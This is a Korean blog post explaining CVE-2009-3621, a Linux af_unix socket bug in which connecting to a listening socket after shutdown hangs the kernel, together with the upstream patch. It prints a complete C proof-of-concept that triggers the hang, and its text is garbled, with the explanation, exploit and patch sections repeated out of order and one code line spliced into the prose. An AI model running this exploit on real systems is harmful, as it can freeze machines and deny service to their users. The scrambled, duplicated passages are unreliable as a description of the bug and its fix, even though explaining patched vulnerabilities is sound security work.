2009년 12월 16일
CVE-2009-3621 : unix_socket 커널 버그
이버그는 af_unix 소켓을 이용해서 사용자가 SHUT_RDWR 모드로 shutdown 을 한다음 강제로 connect을 호출하면 현재 머신의 cpu 갯수만큼 접속이 되었다가 hang이 걸리는 문제이다.
자세한 사항은 다음을 참조하기 바란다. http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commitdiff;h=77238f2b942b38ab4e7f3aced44084493e4a8675;hp=50c54a57dfbd392e17f1473717b8e125afcb01a3
exploit code :
int main(void)
{
int ret;
int csd;
int lsd;
struct sockaddr_un sun;
/* make an abstruct name address (*) */
memset(&sun, 0, sizeof(sun));
sun.sun_family = PF_UNIX;
sprintf(&sun.sun_path[1], "%d", getpid());
/* create the listening socket and shutdown */
lsd = socket(AF_UNIX, SOCK_STREAM, 0);
bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
listen(lsd, 1);
shutdown(lsd, SHUT_RDWR);
/* connect loop */
alarm(15); /* forcely exit the loop after 15 sec */
for (;;) {
csd = socket(AF_UNIX, SOCK_STREAM, 0);
ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
if (-1 == ret) {
perror("connect()");
break;
}
puts("Connection OK");
}
return 0;
}
그럼, 이버그의 패치파일이다.
int peer_mode = 0;
if (mode&RCV_SHUTDOWN)
peer_mode |= SEND_SHUTDOWN;
if (mode&SEND_SHUTDOWN)
peer_mode |= RCV_SHUTDOWN;
unix_state_lock(other);
other->sk_shutdown |= peer_mode;
unix_state_unlock(other);
소스를 보면 shutdown시 mode로 받은 값을 sk_shutdown으로 마킹을 하고있다.
그리고 위의 패치를 보면 이 마킹을 체크해서 connetc을 더이상 실행하지 않고 종료하는 패치이다.
자세한 사항은 다음을 참조하기 바란다. http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commitdiff;h=77238f2b942b38ab4e7f3aced44084493e4a8675;hp=50c54a57dfbd392e17f1473717b8e125afcb01a3
exploit code :
int main(void)
{
int ret;
int csd;
int lsd;
struct sockaddr_un sun;
/* make an abstruct name address (*) */
memset(&sun, 0, sizeof(sun));
sun.sun_family = PF_UNIX;
sprintf(&sun.sun_path[1], "%d", getpid());
/* create the listening socket and shutdown */
lsd = socket(AF_UNIX, SOCK_STREAM, 0);
bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
listen(lsd, 1);
shutdown(lsd, SHUT_RDWR);
/* connect loop */
alarm(15); /* forcely exit the loop after 15 sec */
for (;;) {
csd = socket(AF_UNIX, SOCK_STREAM, 0);
ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
if (-1 == ret) {
perror("connect()");
break;
}
puts("Connection OK");
}
return 0;
}
그럼, 이버그의 패치파일이다.
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
err = -ECONNREFUSED;
if (other->sk_state != TCP_LISTEN)
goto out_unlock;
+ if (other->sk_shutdown & RCV_SHUTDOWN)
+ goto out_unlock;
if (unix_recvq_full(other)) {
err = -EAGAIN;
위에서 보면 sk_shutdown 에서 RCV_SHUTDOWN 이 마킹됬는지를 체크한다.
다음은 af_unix의 shutdown syscall인 unix_shutdown 의 일부이다.
if (other && (sk->sk_type == SOCK_STREAM || sk->sk_type == SOCK_SEQPACKET)) {위에서 보면 sk_shutdown 에서 RCV_SHUTDOWN 이 마킹됬는지를 체크한다.
다음은 af_unix의 shutdown syscall인 unix_shutdown 의 일부이다.
int peer_mode = 0;
if (mode&RCV_SHUTDOWN)
peer_mode |= SEND_SHUTDOWN;
if (mode&SEND_SHUTDOWN)
peer_mode |= RCV_SHUTDOWN;
unix_state_lock(other);
other->sk_shutdown |= peer_mode;
unix_state_unlock(other);
소스를 보면 shutdown시 mode로 받은 값을 sk_shutdown으로 마킹을 하고있다.
그리고 위의 패치를 보면 이 마킹을 체크해서 connetc을 더이상 실행하지 않고 종료하는 패치이다.
# by | 2009/12/16 14:30 | security | 트랙백 | 덧글(0)



